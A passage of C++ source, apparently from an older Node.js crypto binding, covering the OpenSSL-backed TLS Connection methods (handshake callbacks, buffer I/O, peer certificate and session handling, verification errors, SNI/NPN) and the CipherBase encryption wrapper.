p->sniContext_.Dispose(node_isolate);
}
// Get callback init args
Local<Value> argv[1] = {*p->servername_};
// Call it
Local<Value> ret = Local<Value>::New(node_isolate,
MakeCallback(p->sniObject_,
"onselect",
ARRAY_SIZE(argv),
argv));
// If ret is SecureContext
if (secure_context_constructor->HasInstance(ret)) {
p->sniContext_ = Persistent<Value>::New(node_isolate, ret);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(
Local<Object>::Cast(ret));
SSL_set_SSL_CTX(s, sc->ctx_);
} else {
return SSL_TLSEXT_ERR_NOACK;
}
}
}
return SSL_TLSEXT_ERR_OK;
}
#endif
Handle<Value> Connection::New(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *p = new Connection();
p->Wrap(args.This());
if (args.Length() < 1 || !args[0]->IsObject()) {
return ThrowException(Exception::Error(String::New(
"First argument must be a crypto module Credentials")));
}
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args[0]->ToObject());
bool is_server = args[1]->BooleanValue();
p->ssl_ = SSL_new(sc->ctx_);
p->bio_read_ = BIO_new(NodeBIO::GetMethod());
p->bio_write_ = BIO_new(NodeBIO::GetMethod());
SSL_set_app_data(p->ssl_, p);
if (is_server) SSL_set_info_callback(p->ssl_, SSLInfoCallback);
#ifdef OPENSSL_NPN_NEGOTIATED
if (is_server) {
// Server should advertise NPN protocols
SSL_CTX_set_next_protos_advertised_cb(sc->ctx_,
AdvertiseNextProtoCallback_,
NULL);
} else {
// Client should select protocol from advertised
// If server supports NPN
SSL_CTX_set_next_proto_select_cb(sc->ctx_,
SelectNextProtoCallback_,
NULL);
}
#endif
#ifdef SSL_CTRL_SET_TLSEXT_SERVERNAME_CB
if (is_server) {
SSL_CTX_set_tlsext_servername_callback(sc->ctx_, SelectSNIContextCallback_);
} else {
String::Utf8Value servername(args[2]);
SSL_set_tlsext_host_name(p->ssl_, *servername);
}
#endif
SSL_set_bio(p->ssl_, p->bio_read_, p->bio_write_);
#ifdef SSL_MODE_RELEASE_BUFFERS
long mode = SSL_get_mode(p->ssl_);
SSL_set_mode(p->ssl_, mode | SSL_MODE_RELEASE_BUFFERS);
#endif
int verify_mode;
if (is_server) {
bool request_cert = args[2]->BooleanValue();
if (!request_cert) {
// Note reject_unauthorized ignored.
verify_mode = SSL_VERIFY_NONE;
} else {
bool reject_unauthorized = args[3]->BooleanValue();
verify_mode = SSL_VERIFY_PEER;
if (reject_unauthorized) verify_mode |= SSL_VERIFY_FAIL_IF_NO_PEER_CERT;
}
} else {
// Note request_cert and reject_unauthorized are ignored for clients.
verify_mode = SSL_VERIFY_NONE;
}
// Always allow a connection. We'll reject in javascript.
SSL_set_verify(p->ssl_, verify_mode, VerifyCallback);
if ((p->is_server_ = is_server)) {
SSL_set_accept_state(p->ssl_);
} else {
SSL_set_connect_state(p->ssl_);
}
return args.This();
}
void Connection::SSLInfoCallback(const SSL *ssl_, int where, int ret) {
// Be compatible with older versions of OpenSSL. SSL_get_app_data() wants
// a non-const SSL* in OpenSSL <= 0.9.7e.
SSL* ssl = const_cast<SSL*>(ssl_);
if (where & SSL_CB_HANDSHAKE_START) {
HandleScope scope(node_isolate);
Connection* c = static_cast<Connection*>(SSL_get_app_data(ssl));
if (onhandshakestart_sym.IsEmpty()) {
onhandshakestart_sym = NODE_PSYMBOL("onhandshakestart");
}
MakeCallback(c->handle_, onhandshakestart_sym, 0, NULL);
}
if (where & SSL_CB_HANDSHAKE_DONE) {
HandleScope scope(node_isolate);
Connection* c = static_cast<Connection*>(SSL_get_app_data(ssl));
if (onhandshakedone_sym.IsEmpty()) {
onhandshakedone_sym = NODE_PSYMBOL("onhandshakedone");
}
MakeCallback(c->handle_, onhandshakedone_sym, 0, NULL);
}
}
Handle<Value> Connection::EncIn(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (args.Length() < 3) {
return ThrowException(Exception::TypeError(
String::New("Takes 3 parameters")));
}
if (!Buffer::HasInstance(args[0])) {
return ThrowException(Exception::TypeError(
String::New("Second argument should be a buffer")));
}
char* buffer_data = Buffer::Data(args[0]);
size_t buffer_length = Buffer::Length(args[0]);
size_t off = args[1]->Int32Value();
size_t len = args[2]->Int32Value();
if (off + len > buffer_length) {
return ThrowException(Exception::Error(
String::New("off + len > buffer.length")));
}
int bytes_written;
char* data = buffer_data + off;
if (ss->is_server_ && !ss->hello_parser_.ended()) {
bytes_written = ss->hello_parser_.Write(reinterpret_cast<uint8_t*>(data),
len);
} else {
bytes_written = BIO_write(ss->bio_read_, data, len);
ss->HandleBIOError(ss->bio_read_, "BIO_write", bytes_written);
ss->SetShutdownFlags();
}
return scope.Close(Integer::New(bytes_written, node_isolate));
}
Handle<Value> Connection::ClearOut(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (args.Length() < 3) {
return ThrowException(Exception::TypeError(
String::New("Takes 3 parameters")));
}
if (!Buffer::HasInstance(args[0])) {
return ThrowException(Exception::TypeError(
String::New("Second argument should be a buffer")));
}
char* buffer_data = Buffer::Data(args[0]);
size_t buffer_length = Buffer::Length(args[0]);
size_t off = args[1]->Int32Value();
size_t len = args[2]->Int32Value();
if (off + len > buffer_length) {
return ThrowException(Exception::Error(
String::New("off + len > buffer.length")));
}
if (!SSL_is_init_finished(ss->ssl_)) {
int rv;
if (ss->is_server_) {
rv = SSL_accept(ss->ssl_);
ss->HandleSSLError("SSL_accept:ClearOut",
rv,
kZeroIsAnError,
kSyscallError);
} else {
rv = SSL_connect(ss->ssl_);
ss->HandleSSLError("SSL_connect:ClearOut",
rv,
kZeroIsAnError,
kSyscallError);
}
if (rv < 0) return scope.Close(Integer::New(rv, node_isolate));
}
int bytes_read = SSL_read(ss->ssl_, buffer_data + off, len);
ss->HandleSSLError("SSL_read:ClearOut",
bytes_read,
kZeroIsNotAnError,
kSyscallError);
ss->SetShutdownFlags();
return scope.Close(Integer::New(bytes_read, node_isolate));
}
Handle<Value> Connection::ClearPending(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
int bytes_pending = BIO_pending(ss->bio_read_);
return scope.Close(Integer::New(bytes_pending, node_isolate));
}
Handle<Value> Connection::EncPending(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
int bytes_pending = BIO_pending(ss->bio_write_);
return scope.Close(Integer::New(bytes_pending, node_isolate));
}
Handle<Value> Connection::EncOut(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (args.Length() < 3) {
return ThrowException(Exception::TypeError(
String::New("Takes 3 parameters")));
}
if (!Buffer::HasInstance(args[0])) {
return ThrowException(Exception::TypeError(
String::New("Second argument should be a buffer")));
}
char* buffer_data = Buffer::Data(args[0]);
size_t buffer_length = Buffer::Length(args[0]);
size_t off = args[1]->Int32Value();
size_t len = args[2]->Int32Value();
if (off + len > buffer_length) {
return ThrowException(Exception::Error(
String::New("off + len > buffer.length")));
}
int bytes_read = BIO_read(ss->bio_write_, buffer_data + off, len);
ss->HandleBIOError(ss->bio_write_, "BIO_read:EncOut", bytes_read);
ss->SetShutdownFlags();
return scope.Close(Integer::New(bytes_read, node_isolate));
}
Handle<Value> Connection::ClearIn(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (args.Length() < 3) {
return ThrowException(Exception::TypeError(
String::New("Takes 3 parameters")));
}
if (!Buffer::HasInstance(args[0])) {
return ThrowException(Exception::TypeError(
String::New("Second argument should be a buffer")));
}
char* buffer_data = Buffer::Data(args[0]);
size_t buffer_length = Buffer::Length(args[0]);
size_t off = args[1]->Int32Value();
size_t len = args[2]->Int32Value();
if (off + len > buffer_length) {
return ThrowException(Exception::Error(
String::New("off + len > buffer.length")));
}
if (!SSL_is_init_finished(ss->ssl_)) {
int rv;
if (ss->is_server_) {
rv = SSL_accept(ss->ssl_);
ss->HandleSSLError("SSL_accept:ClearIn",
rv,
kZeroIsAnError,
kSyscallError);
} else {
rv = SSL_connect(ss->ssl_);
ss->HandleSSLError("SSL_connect:ClearIn",
rv,
kZeroIsAnError,
kSyscallError);
}
if (rv < 0) return scope.Close(Integer::New(rv, node_isolate));
}
int bytes_written = SSL_write(ss->ssl_, buffer_data + off, len);
ss->HandleSSLError("SSL_write:ClearIn",
bytes_written,
len == 0 ? kZeroIsNotAnError : kZeroIsAnError,
kSyscallError);
ss->SetShutdownFlags();
return scope.Close(Integer::New(bytes_written, node_isolate));
}
Handle<Value> Connection::GetPeerCertificate(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->ssl_ == NULL) return Undefined(node_isolate);
Local<Object> info = Object::New();
X509* peer_cert = SSL_get_peer_certificate(ss->ssl_);
if (peer_cert != NULL) {
BIO* bio = BIO_new(BIO_s_mem());
BUF_MEM* mem;
if (X509_NAME_print_ex(bio, X509_get_subject_name(peer_cert), 0,
X509_NAME_FLAGS) > 0) {
BIO_get_mem_ptr(bio, &mem);
info->Set(subject_symbol, String::New(mem->data, mem->length));
}
(void) BIO_reset(bio);
if (X509_NAME_print_ex(bio, X509_get_issuer_name(peer_cert), 0,
X509_NAME_FLAGS) > 0) {
BIO_get_mem_ptr(bio, &mem);
info->Set(issuer_symbol, String::New(mem->data, mem->length));
}
(void) BIO_reset(bio);
int index = X509_get_ext_by_NID(peer_cert, NID_subject_alt_name, -1);
if (index >= 0) {
X509_EXTENSION* ext;
int rv;
ext = X509_get_ext(peer_cert, index);
assert(ext != NULL);
rv = X509V3_EXT_print(bio, ext, 0, 0);
assert(rv == 1);
BIO_get_mem_ptr(bio, &mem);
info->Set(subjectaltname_symbol, String::New(mem->data, mem->length));
(void) BIO_reset(bio);
}
EVP_PKEY *pkey = NULL;
RSA *rsa = NULL;
if( NULL != (pkey = X509_get_pubkey(peer_cert))
&& NULL != (rsa = EVP_PKEY_get1_RSA(pkey)) ) {
BN_print(bio, rsa->n);
BIO_get_mem_ptr(bio, &mem);
info->Set(modulus_symbol, String::New(mem->data, mem->length) );
(void) BIO_reset(bio);
BN_print(bio, rsa->e);
BIO_get_mem_ptr(bio, &mem);
info->Set(exponent_symbol, String::New(mem->data, mem->length) );
(void) BIO_reset(bio);
}
if (pkey != NULL) {
EVP_PKEY_free(pkey);
pkey = NULL;
}
if (rsa != NULL) {
RSA_free(rsa);
rsa = NULL;
}
ASN1_TIME_print(bio, X509_get_notBefore(peer_cert));
BIO_get_mem_ptr(bio, &mem);
info->Set(valid_from_symbol, String::New(mem->data, mem->length));
(void) BIO_reset(bio);
ASN1_TIME_print(bio, X509_get_notAfter(peer_cert));
BIO_get_mem_ptr(bio, &mem);
info->Set(valid_to_symbol, String::New(mem->data, mem->length));
BIO_free_all(bio);
unsigned int md_size, i;
unsigned char md[EVP_MAX_MD_SIZE];
if (X509_digest(peer_cert, EVP_sha1(), md, &md_size)) {
const char hex[] = "0123456789ABCDEF";
char fingerprint[EVP_MAX_MD_SIZE * 3];
for (i = 0; i<md_size; i++) {
fingerprint[3*i] = hex[(md[i] & 0xf0) >> 4];
fingerprint[(3*i)+1] = hex[(md[i] & 0x0f)];
fingerprint[(3*i)+2] = ':';
}
if (md_size > 0) {
fingerprint[(3*(md_size-1))+2] = '\0';
}
else {
fingerprint[0] = '\0';
}
info->Set(fingerprint_symbol, String::New(fingerprint));
}
STACK_OF(ASN1_OBJECT) *eku = (STACK_OF(ASN1_OBJECT) *)X509_get_ext_d2i(
peer_cert, NID_ext_key_usage, NULL, NULL);
if (eku != NULL) {
Local<Array> ext_key_usage = Array::New();
char buf[256];
for (int i = 0; i < sk_ASN1_OBJECT_num(eku); i++) {
memset(buf, 0, sizeof(buf));
OBJ_obj2txt(buf, sizeof(buf) - 1, sk_ASN1_OBJECT_value(eku, i), 1);
ext_key_usage->Set(Integer::New(i, node_isolate), String::New(buf));
}
sk_ASN1_OBJECT_pop_free(eku, ASN1_OBJECT_free);
info->Set(ext_key_usage_symbol, ext_key_usage);
}
X509_free(peer_cert);
}
return scope.Close(info);
}
Handle<Value> Connection::GetSession(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->ssl_ == NULL) return Undefined(node_isolate);
SSL_SESSION* sess = SSL_get_session(ss->ssl_);
if (!sess) return Undefined(node_isolate);
int slen = i2d_SSL_SESSION(sess, NULL);
assert(slen > 0);
if (slen > 0) {
unsigned char* sbuf = new unsigned char[slen];
unsigned char* p = sbuf;
i2d_SSL_SESSION(sess, &p);
Local<Value> s = Encode(sbuf, slen, BINARY);
delete[] sbuf;
return scope.Close(s);
}
return Null(node_isolate);
}
Handle<Value> Connection::SetSession(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (args.Length() < 1 ||
(!args[0]->IsString() && !Buffer::HasInstance(args[0]))) {
Local<Value> exception = Exception::TypeError(String::New("Bad argument"));
return ThrowException(exception);
}
ASSERT_IS_BUFFER(args[0]);
ssize_t slen = Buffer::Length(args[0]);
if (slen < 0) {
Local<Value> exception = Exception::TypeError(String::New("Bad argument"));
return ThrowException(exception);
}
char* sbuf = new char[slen];
ssize_t wlen = DecodeWrite(sbuf, slen, args[0], BINARY);
assert(wlen == slen);
const unsigned char* p = reinterpret_cast<const unsigned char*>(sbuf);
SSL_SESSION* sess = d2i_SSL_SESSION(NULL, &p, wlen);
delete [] sbuf;
if (!sess)
return Undefined(node_isolate);
int r = SSL_set_session(ss->ssl_, sess);
SSL_SESSION_free(sess);
if (!r) {
Local<String> eStr = String::New("SSL_set_session error");
return ThrowException(Exception::Error(eStr));
}
return True(node_isolate);
}
Handle<Value> Connection::LoadSession(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (args.Length() >= 1 && Buffer::HasInstance(args[0])) {
ssize_t slen = Buffer::Length(args[0].As<Object>());
char* sbuf = Buffer::Data(args[0].As<Object>());
const unsigned char* p = reinterpret_cast<unsigned char*>(sbuf);
SSL_SESSION* sess = d2i_SSL_SESSION(NULL, &p, slen);
// Setup next session and move hello to the BIO buffer
if (ss->next_sess_ != NULL) {
SSL_SESSION_free(ss->next_sess_);
}
ss->next_sess_ = sess;
}
ss->hello_parser_.Finish();
return True(node_isolate);
}
Handle<Value> Connection::IsSessionReused(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->ssl_ == NULL || SSL_session_reused(ss->ssl_) == false) {
return False(node_isolate);
}
return True(node_isolate);
}
Handle<Value> Connection::Start(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (!SSL_is_init_finished(ss->ssl_)) {
int rv;
if (ss->is_server_) {
rv = SSL_accept(ss->ssl_);
ss->HandleSSLError("SSL_accept:Start", rv, kZeroIsAnError, kSyscallError);
} else {
rv = SSL_connect(ss->ssl_);
ss->HandleSSLError("SSL_connect:Start",
rv,
kZeroIsAnError,
kSyscallError);
}
return scope.Close(Integer::New(rv, node_isolate));
}
return scope.Close(Integer::New(0, node_isolate));
}
Handle<Value> Connection::Shutdown(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->ssl_ == NULL) return False(node_isolate);
int rv = SSL_shutdown(ss->ssl_);
ss->HandleSSLError("SSL_shutdown", rv, kZeroIsNotAnError, kIgnoreSyscall);
ss->SetShutdownFlags();
return scope.Close(Integer::New(rv, node_isolate));
}
Handle<Value> Connection::ReceivedShutdown(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->ssl_ == NULL) return False(node_isolate);
int r = SSL_get_shutdown(ss->ssl_);
if (r & SSL_RECEIVED_SHUTDOWN) return True(node_isolate);
return False(node_isolate);
}
Handle<Value> Connection::IsInitFinished(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->ssl_ == NULL || SSL_is_init_finished(ss->ssl_) == false) {
return False(node_isolate);
}
return True(node_isolate);
}
Handle<Value> Connection::VerifyError(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->ssl_ == NULL) return Null(node_isolate);
// XXX Do this check in JS land?
X509* peer_cert = SSL_get_peer_certificate(ss->ssl_);
if (peer_cert == NULL) {
// We requested a certificate and they did not send us one.
// Definitely an error.
// XXX is this the right error message?
return scope.Close(Exception::Error(
String::New("UNABLE_TO_GET_ISSUER_CERT")));
}
X509_free(peer_cert);
long x509_verify_error = SSL_get_verify_result(ss->ssl_);
Local<String> s;
switch (x509_verify_error) {
case X509_V_OK:
return Null(node_isolate);
case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT:
s = String::New("UNABLE_TO_GET_ISSUER_CERT");
break;
case X509_V_ERR_UNABLE_TO_GET_CRL:
s = String::New("UNABLE_TO_GET_CRL");
break;
case X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE:
s = String::New("UNABLE_TO_DECRYPT_CERT_SIGNATURE");
break;
case X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE:
s = String::New("UNABLE_TO_DECRYPT_CRL_SIGNATURE");
break;
case X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY:
s = String::New("UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY");
break;
case X509_V_ERR_CERT_SIGNATURE_FAILURE:
s = String::New("CERT_SIGNATURE_FAILURE");
break;
case X509_V_ERR_CRL_SIGNATURE_FAILURE:
s = String::New("CRL_SIGNATURE_FAILURE");
break;
case X509_V_ERR_CERT_NOT_YET_VALID:
s = String::New("CERT_NOT_YET_VALID");
break;
case X509_V_ERR_CERT_HAS_EXPIRED:
s = String::New("CERT_HAS_EXPIRED");
break;
case X509_V_ERR_CRL_NOT_YET_VALID:
s = String::New("CRL_NOT_YET_VALID");
break;
case X509_V_ERR_CRL_HAS_EXPIRED:
s = String::New("CRL_HAS_EXPIRED");
break;
case X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD:
s = String::New("ERROR_IN_CERT_NOT_BEFORE_FIELD");
break;
case X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD:
s = String::New("ERROR_IN_CERT_NOT_AFTER_FIELD");
break;
case X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD:
s = String::New("ERROR_IN_CRL_LAST_UPDATE_FIELD");
break;
case X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD:
s = String::New("ERROR_IN_CRL_NEXT_UPDATE_FIELD");
break;
case X509_V_ERR_OUT_OF_MEM:
s = String::New("OUT_OF_MEM");
break;
case X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT:
s = String::New("DEPTH_ZERO_SELF_SIGNED_CERT");
break;
case X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN:
s = String::New("SELF_SIGNED_CERT_IN_CHAIN");
break;
case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY:
s = String::New("UNABLE_TO_GET_ISSUER_CERT_LOCALLY");
break;
case X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE:
s = String::New("UNABLE_TO_VERIFY_LEAF_SIGNATURE");
break;
case X509_V_ERR_CERT_CHAIN_TOO_LONG:
s = String::New("CERT_CHAIN_TOO_LONG");
break;
case X509_V_ERR_CERT_REVOKED:
s = String::New("CERT_REVOKED");
break;
case X509_V_ERR_INVALID_CA:
s = String::New("INVALID_CA");
break;
case X509_V_ERR_PATH_LENGTH_EXCEEDED:
s = String::New("PATH_LENGTH_EXCEEDED");
break;
case X509_V_ERR_INVALID_PURPOSE:
s = String::New("INVALID_PURPOSE");
break;
case X509_V_ERR_CERT_UNTRUSTED:
s = String::New("CERT_UNTRUSTED");
break;
case X509_V_ERR_CERT_REJECTED:
s = String::New("CERT_REJECTED");
break;
default:
s = String::New(X509_verify_cert_error_string(x509_verify_error));
break;
}
return scope.Close(Exception::Error(s));
}
Handle<Value> Connection::GetCurrentCipher(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
OPENSSL_CONST SSL_CIPHER *c;
if ( ss->ssl_ == NULL ) return Undefined(node_isolate);
c = SSL_get_current_cipher(ss->ssl_);
if ( c == NULL ) return Undefined(node_isolate);
Local<Object> info = Object::New();
const char* cipher_name = SSL_CIPHER_get_name(c);
info->Set(name_symbol, String::New(cipher_name));
const char* cipher_version = SSL_CIPHER_get_version(c);
info->Set(version_symbol, String::New(cipher_version));
return scope.Close(info);
}
Handle<Value> Connection::Close(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->ssl_ != NULL) {
SSL_free(ss->ssl_);
ss->ssl_ = NULL;
}
return True(node_isolate);
}
#ifdef OPENSSL_NPN_NEGOTIATED
Handle<Value> Connection::GetNegotiatedProto(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->is_server_) {
const unsigned char* npn_proto;
unsigned int npn_proto_len;
SSL_get0_next_proto_negotiated(ss->ssl_, &npn_proto, &npn_proto_len);
if (!npn_proto) {
return False(node_isolate);
}
return scope.Close(String::New(reinterpret_cast<const char*>(npn_proto),
npn_proto_len));
} else {
return ss->selectedNPNProto_;
}
}
Handle<Value> Connection::SetNPNProtocols(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (args.Length() < 1 || !Buffer::HasInstance(args[0])) {
return ThrowException(Exception::Error(String::New(
"Must give a Buffer as first argument")));
}
// Release old handle
if (!ss->npnProtos_.IsEmpty()) {
ss->npnProtos_.Dispose(node_isolate);
}
ss->npnProtos_ = Persistent<Object>::New(node_isolate, args[0]->ToObject());
return True(node_isolate);
};
#endif
#ifdef SSL_CTRL_SET_TLSEXT_SERVERNAME_CB
Handle<Value> Connection::GetServername(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (ss->is_server_ && !ss->servername_.IsEmpty()) {
return ss->servername_;
} else {
return False(node_isolate);
}
}
Handle<Value> Connection::SetSNICallback(const Arguments& args) {
HandleScope scope(node_isolate);
Connection *ss = Connection::Unwrap(args);
if (args.Length() < 1 || !args[0]->IsFunction()) {
return ThrowException(Exception::Error(String::New(
"Must give a Function as first argument")));
}
// Release old handle
if (!ss->sniObject_.IsEmpty()) {
ss->sniObject_.Dispose(node_isolate);
}
ss->sniObject_ = Persistent<Object>::New(node_isolate, Object::New());
ss->sniObject_->Set(String::New("onselect"), args[0]);
return True(node_isolate);
}
#endif
void CipherBase::Initialize(Handle<Object> target) {
HandleScope scope(node_isolate);
Local<FunctionTemplate> t = FunctionTemplate::New(New);
t->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(t, "init", Init);
NODE_SET_PROTOTYPE_METHOD(t, "initiv", InitIv);
NODE_SET_PROTOTYPE_METHOD(t, "update", Update);
NODE_SET_PROTOTYPE_METHOD(t, "final", Final);
NODE_SET_PROTOTYPE_METHOD(t, "setAutoPadding", SetAutoPadding);
target->Set(String::NewSymbol("CipherBase"), t->GetFunction());
}
Handle<Value> CipherBase::New(const Arguments& args) {
HandleScope scope(node_isolate);
CipherBase* cipher = new CipherBase(args[0]->IsTrue() ? kCipher : kDecipher);
cipher->Wrap(args.This());
return args.This();
}
Handle<Value> CipherBase::Init(char* cipher_type,
char* key_buf,
int key_buf_len) {
HandleScope scope(node_isolate);
assert(cipher_ == NULL);
cipher_ = EVP_get_cipherbyname(cipher_type);
if (cipher_ == NULL) {
return ThrowError("Unknown cipher");
}
unsigned char key[EVP_MAX_KEY_LENGTH];
unsigned char iv[EVP_MAX_IV_LENGTH];
int key_len = EVP_BytesToKey(cipher_,
EVP_md5(),
NULL,
reinterpret_cast<unsigned char*>(key_buf),
key_buf_len,
1,
key,
iv);
EVP_CIPHER_CTX_init(&ctx_);
EVP_CipherInit_ex(&ctx_, cipher_, NULL, NULL, NULL, kind_ == kCipher);
if (!EVP_CIPHER_CTX_set_key_length(&ctx_, key_len)) {
EVP_CIPHER_CTX_cleanup(&ctx_);
return ThrowError("Invalid key length");
}
EVP_CipherInit_ex(&ctx_,
NULL,
NULL,
reinterpret_cast<unsigned char*>(key),
reinterpret_cast<unsigned char*>(iv),
kind_ == kCipher);
initialised_ = true;
return Null(node_isolate);
}
Handle<Value> CipherBase::Init(const Arguments& args) {
HandleScope scope(node_isolate);
CipherBase* cipher = ObjectWrap::Unwrap<CipherBase>(args.This());
if (args.Length() < 2 ||
!(args[0]->IsString() && Buffer::HasInstance(args[1]))) {
return ThrowError("Must give cipher-type, key");
}
String::Utf8Value cipher_type(args[0]);
char* key_buf = Buffer::Data(args[1]);
ssize_t key_buf_len = Buffer::Length(args[1]);
Handle<Value> ret = cipher->Init(*cipher_type, key_buf, key_buf_len);
if (ret->IsNull()) {
return args.This();
} else {
// Exception
return scope.Close(ret);
}
}
Handle<Value> CipherBase::InitIv(char* cipher_type,
char* key,
int key_len,
char* iv,
int iv_len) {
HandleScope scope(node_isolate);
cipher_ = EVP_get_cipherbyname(cipher_type);
if (cipher_ == NULL) {
return ThrowError("Unknown cipher");
}
/* OpenSSL versions up to 0.9.8l failed to return the correct
iv_length (0) for ECB ciphers */
if (EVP_CIPHER_iv_length(cipher_) != iv_len &&
!(EVP_CIPHER_mode(cipher_) == EVP_CIPH_ECB_MODE && iv_len == 0)) {
return ThrowError("Invalid IV length");
}
EVP_CIPHER_CTX_init(&ctx_);
EVP_CipherInit_ex(&ctx_, cipher_, NULL, NULL, NULL, kind_ == kCipher);
if (!EVP_CIPHER_CTX_set_key_length(&ctx_, key_len)) {
EVP_CIPHER_CTX_cleanup(&ctx_);
return ThrowError("Invalid key length");
}
EVP_CipherInit_ex(&ctx_,
NULL,
NULL,
reinterpret_cast<unsigned char*>(key),
reinterpret_cast<unsigned char*>(iv),
kind_ == kCipher);
initialised_ = true;
return Null(node_isolate);
}
Handle<Value> CipherBase::InitIv(const Arguments& args) {
HandleScope scope(node_isolate);
CipherBase* cipher = ObjectWrap::Unwrap<CipherBase>(args.This());
if (args.Length() < 3 || !args[0]->IsString()) {
return ThrowError("Must give cipher-type, key, and iv as argument");
}
ASSERT_IS_BUFFER(args[1]);
ASSERT_IS_BUFFER(args[2]);
String::Utf8Value cipher_type(args[0]);
ssize_t key_len = Buffer::Length(args[1]);
char* key_buf = Buffer::Data(args[1]);
ssize_t iv_len = Buffer::Length(args[2]);
char* iv_buf = Buffer::Data(args[2]);
Handle<Value> ret = cipher->InitIv(*cipher_type,
key_buf,
key_len,
iv_buf,
iv_len);
if (ret->IsNull()) {
return args.This();
} else {
// Exception
return scope.Close(ret);
}
}
bool CipherBase::Update(char* data,
int len,
unsigned char** out,
int* out_len) {
if (!initialised_) return 0;
*out_len = len + EVP_CIPHER_CTX_block_size(&ctx_);
*out = new unsigned char[*out_len];
return EVP_CipherUpdate(&ctx_,
*out,
out_len,
reinterpret_cast<unsigned char*>(data),
len);
}
Handle<Value> CipherBase::Update(const Arguments& args) {
HandleScope scope(node_isolate);
CipherBase* cipher = ObjectWrap::Unwrap<CipherBase>(args.This());
ASSERT_IS_STRING_OR_BUFFER(args[0]);
unsigned char* out = NULL;
bool r;
int out_len = 0;
// Only copy the data if we have to, because it's a string
if (args[0]->IsString()) {
enum encoding encoding = ParseEncoding(args[1], BINARY);
size_t buflen = StringBytes::StorageSize(args[0], encoding);
char* buf = new char[buflen];
size_t written = StringBytes::Write(buf, buflen, args[0], encoding);
r = cipher->Update(buf, written, &out, &out_len);
delete[] buf;
} else {
char* buf = Buffer::Data(args[0]);
size_t buflen = Buffer::Length(args[0]);
r = cipher->Update(buf, buflen, &out, &out_len);
}
if (!r) {
delete[] out;
return ThrowCryptoTypeError(ERR_get_error());
}
Local<Object> buf = Buffer::New(reinterpret_cast<char*>(out), out_len);
if (out) delete[] out;
return scope.Close(buf);
}
bool CipherBase::SetAutoPadding(bool auto_padding) {
if (!initialised_) return false;
return EVP_CIPHER_CTX_set_padding(&ctx_, auto_padding);
}
Handle<Value> CipherBase::SetAutoPadding(const Arguments& args) {
HandleScope scope(node_isolate);
CipherBase* cipher = ObjectWrap::Unwrap<CipherBase>(args.This());
cipher->SetAutoPadding(args.Length() < 1 || args[0]->BooleanValue());
return Undefined(node_isolate);
}
bool CipherBase::Final(unsigned char** out, int *out_len) {
if (!initialised_) return false;
*out = new unsigned char[EVP_CIPHER_CTX_block_size(&ctx_)];
bool r = EVP_CipherFinal_ex(&ctx_, *out, out_len);
EVP_CIPHER_CTX_cleanup(&ctx_);
initialised_ = false;
return r;
}
Handle<Value> CipherBase::Final(const Arguments& args) {
HandleScope scope(node_isolate);
CipherBase* cipher = ObjectWrap::Unwrap<CipherBase>(args.This());
unsigned char* out_value = NULL;
int out_len = -1;
Local<Value> outString;
bool r = cipher->Final(&out_value, &out_len);
if (out_len <= 0 || !r) {
delete[] out_value;
out_value = NULL;
out_len = 0;
if (!r) return ThrowCryptoTypeError(ERR_get_error());
}
return scope.Close(Buffer::New(reinterpret_cast<char*>(out_value), out_len));
}
void Hmac::Initialize(v8::Handle<v8::Object> target) {
HandleScope scope(node_isolate);
Local<FunctionTemplate> t = FunctionTemplate::New(New);
t->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(t, "init", HmacInit);
NODE_SET_PROTOTYPE_METHOD(t, "update", HmacUpdate);
NODE_SET_PROTOTYPE_METHOD(t, "digest", HmacDigest);
target->Set(String::NewSymbol("Hmac"), t->GetFunction());
}
Handle<Value> Hmac::New(const Arguments& args) {
